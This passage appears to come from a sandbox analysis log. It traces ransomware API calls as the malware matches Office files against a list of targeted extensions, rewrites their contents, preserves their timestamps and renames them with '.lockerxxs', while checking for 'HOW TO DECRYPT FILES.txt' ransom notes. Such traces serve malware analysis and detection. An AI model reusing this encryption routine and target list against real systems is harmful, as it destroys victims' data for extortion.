Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.mye") returned 0 [0064.987] lstrlenA (lpString="*.mye") returned 5 [0064.987] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.mbox") returned 0 [0064.987] lstrlenA (lpString="*.mbox") returned 6 [0064.987] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.eml") returned 0 [0064.987] lstrlenA (lpString="*.eml") returned 5 [0064.987] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.pst") returned 0 [0064.988] lstrlenA (lpString="*.pst") returned 5 [0064.988] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.ost") returned 0 [0064.988] lstrlenA (lpString="*.ost") returned 5 [0064.988] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.idx") returned 0 [0064.988] lstrlenA (lpString="*.idx") returned 5 [0064.988] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.dbx") returned 0 [0064.988] lstrlenA (lpString="*.dbx") returned 5 [0064.988] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.sql") returned 0 [0064.988] lstrlenA (lpString="*.sql") returned 5 [0064.988] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.mdb") returned 0 [0064.988] lstrlenA (lpString="*.mdb") returned 5 [0064.988] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.fdb") returned 0 [0064.988] lstrlenA (lpString="*.fdb") returned 5 [0064.988] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.wab") returned 0 [0064.988] lstrlenA (lpString="*.wab") returned 5 [0064.988] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.dat") returned 0 [0064.988] lstrlenA (lpString="*.dat") returned 5 [0064.988] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.txt") returned 0 [0064.988] lstrlenA (lpString="*.txt") returned 5 [0064.989] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.jpeg") returned 0 [0064.989] lstrlenA (lpString="*.jpeg") returned 6 [0064.989] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.jpg") returned 0 [0064.989] lstrlenA (lpString="*.jpg") returned 5 [0064.989] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.png") returned 0 [0064.989] lstrlenA (lpString="*.png") returned 5 [0064.989] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.php") returned 0 [0064.989] lstrlenA (lpString="*.php") returned 5 [0064.989] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.cs") returned 0 [0064.989] lstrlenA (lpString="*.cs") returned 4 [0064.989] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.cpp") returned 0 [0064.989] lstrlenA (lpString="*.cpp") returned 5 [0064.989] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.rar") returned 0 [0064.989] lstrlenA (lpString="*.rar") returned 5 [0064.989] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.zip") returned 0 [0064.989] lstrlenA (lpString="*.zip") returned 5 [0064.989] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", pszSpec="*.html") returned 1 [0064.989] lstrlenA (lpString="*.html") returned 6 [0064.989] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html" [0064.989] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html" [0064.989] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html.") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html." [0064.989] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html.lockerxxs" [0064.990] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsformtemplate.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0064.990] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x13bb [0064.990] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xa89b0700, dwHighDateTime=0x1c747ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x5291c2f0, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xa89b0700, dwHighDateTime=0x1c747ea)) returned 1 [0064.990] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0064.990] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1395, lpOverlapped=0x0) returned 1 [0064.993] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html") returned="FormsFormTemplate.html" [0064.993] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0064.993] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1395, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1395, lpOverlapped=0x0) returned 1 [0064.993] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0064.993] CloseHandle (hObject=0x98) returned 1 [0064.994] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsformtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsformtemplate.html.lockerxxs")) returned 1 [0064.995] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69fe8900, ftCreationTime.dwHighDateTime=0x1c7d303, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69fe8900, ftLastWriteTime.dwHighDateTime=0x1c7d303, nFileSizeHigh=0x0, nFileSizeLow=0x13c5, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="FormsFormTemplateRTL.html", cAlternateFileName="FORMSF~2.HTM")) returned 1 [0064.995] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.995] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FormsFormTemplateRTL.html") returned -1 [0064.995] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FormsFormTemplateRTL.html") returned 1 [0064.995] lstrcmpiA (lpString1="", lpString2="FormsFormTemplateRTL.html") returned -1 [0064.995] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html") returned="FormsFormTemplate.html" [0064.995] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0064.995] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0064.995] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0064.995] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0064.995] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="FormsFormTemplateRTL.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html" [0064.996] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.ems") returned 0 [0064.996] lstrlenA (lpString="*.ems") returned 5 [0064.996] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.db") returned 0 [0064.996] lstrlenA (lpString="*.db") returned 4 [0064.996] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.dbf") returned 0 [0064.996] lstrlenA (lpString="*.dbf") returned 5 [0064.996] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.myox") returned 0 [0064.996] lstrlenA (lpString="*.myox") returned 6 [0064.996] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.myo") returned 0 [0064.996] lstrlenA (lpString="*.myo") returned 5 [0064.996] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.qbw") returned 0 [0064.996] lstrlenA (lpString="*.qbw") returned 5 [0064.996] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.qbb") returned 0 [0064.996] lstrlenA (lpString="*.qbb") returned 5 [0064.996] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.qbm") returned 0 [0064.996] lstrlenA (lpString="*.qbm") returned 5 [0064.996] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.qbo") returned 0 [0064.997] lstrlenA (lpString="*.qbo") returned 5 [0064.997] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.qbx") returned 0 [0064.997] lstrlenA (lpString="*.qbx") returned 5 [0064.997] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.qba") returned 0 [0064.997] lstrlenA (lpString="*.qba") returned 5 [0064.997] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.qby") returned 0 [0064.997] lstrlenA (lpString="*.qby") returned 5 [0064.997] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.qbj") returned 0 [0064.997] lstrlenA (lpString="*.qbj") returned 5 [0064.997] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.ofx") returned 0 [0064.997] lstrlenA (lpString="*.ofx") returned 5 [0064.997] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.qif") returned 0 [0064.997] lstrlenA (lpString="*.qif") returned 5 [0064.997] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.mye") returned 0 [0064.997] lstrlenA (lpString="*.mye") returned 5 [0064.998] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.mbox") returned 0 [0064.998] lstrlenA (lpString="*.mbox") returned 6 [0064.998] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.eml") returned 0 [0064.998] lstrlenA (lpString="*.eml") returned 5 [0064.998] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.pst") returned 0 [0064.998] lstrlenA (lpString="*.pst") returned 5 [0064.998] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.ost") returned 0 [0064.998] lstrlenA (lpString="*.ost") returned 5 [0064.998] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.idx") returned 0 [0064.998] lstrlenA (lpString="*.idx") returned 5 [0064.998] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.dbx") returned 0 [0064.998] lstrlenA (lpString="*.dbx") returned 5 [0064.998] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.sql") returned 0 [0064.998] lstrlenA (lpString="*.sql") returned 5 [0064.998] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.mdb") returned 0 [0064.998] lstrlenA (lpString="*.mdb") returned 5 [0064.998] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.fdb") returned 0 [0064.999] lstrlenA (lpString="*.fdb") returned 5 [0064.999] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.wab") returned 0 [0064.999] lstrlenA (lpString="*.wab") returned 5 [0064.999] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.dat") returned 0 [0064.999] lstrlenA (lpString="*.dat") returned 5 [0064.999] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.txt") returned 0 [0064.999] lstrlenA (lpString="*.txt") returned 5 [0064.999] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.jpeg") returned 0 [0064.999] lstrlenA (lpString="*.jpeg") returned 6 [0064.999] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.jpg") returned 0 [0064.999] lstrlenA (lpString="*.jpg") returned 5 [0064.999] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.png") returned 0 [0064.999] lstrlenA (lpString="*.png") returned 5 [0064.999] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.php") returned 0 [0064.999] lstrlenA (lpString="*.php") returned 5 [0064.999] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.cs") returned 0 [0065.000] lstrlenA (lpString="*.cs") returned 4 [0065.000] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.cpp") returned 0 [0065.000] lstrlenA (lpString="*.cpp") returned 5 [0065.000] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.rar") returned 0 [0065.000] lstrlenA (lpString="*.rar") returned 5 [0065.000] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.zip") returned 0 [0065.000] lstrlenA (lpString="*.zip") returned 5 [0065.000] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", pszSpec="*.html") returned 1 [0065.000] lstrlenA (lpString="*.html") returned 6 [0065.000] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html" [0065.000] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html" [0065.000] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html.") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html." [0065.000] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html.lockerxxs" [0065.000] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsformtemplatertl.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0065.001] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x13c5 [0065.001] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x69fe8900, dwHighDateTime=0x1c7d303), lpLastAccessTime=0x407536*(dwLowDateTime=0x618c8a10, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0x69fe8900, dwHighDateTime=0x1c7d303)) returned 1 [0065.001] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.001] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x139f, lpOverlapped=0x0) returned 1 [0065.003] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html") returned="FormsFormTemplateRTL.html" [0065.003] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.003] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x139f, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x139f, lpOverlapped=0x0) returned 1 [0065.004] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0065.008] CloseHandle (hObject=0x98) returned 1 [0065.009] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsformtemplatertl.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsformtemplatertl.html.lockerxxs")) returned 1 [0065.010] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x8ab, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="FormsImageTemplate.html", cAlternateFileName="FORMSI~1.HTM")) returned 1 [0065.010] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.010] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FormsImageTemplate.html") returned -1 [0065.010] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FormsImageTemplate.html") returned 1 [0065.010] lstrcmpiA (lpString1="", lpString2="FormsImageTemplate.html") returned -1 [0065.010] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html") returned="FormsFormTemplateRTL.html" [0065.010] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft 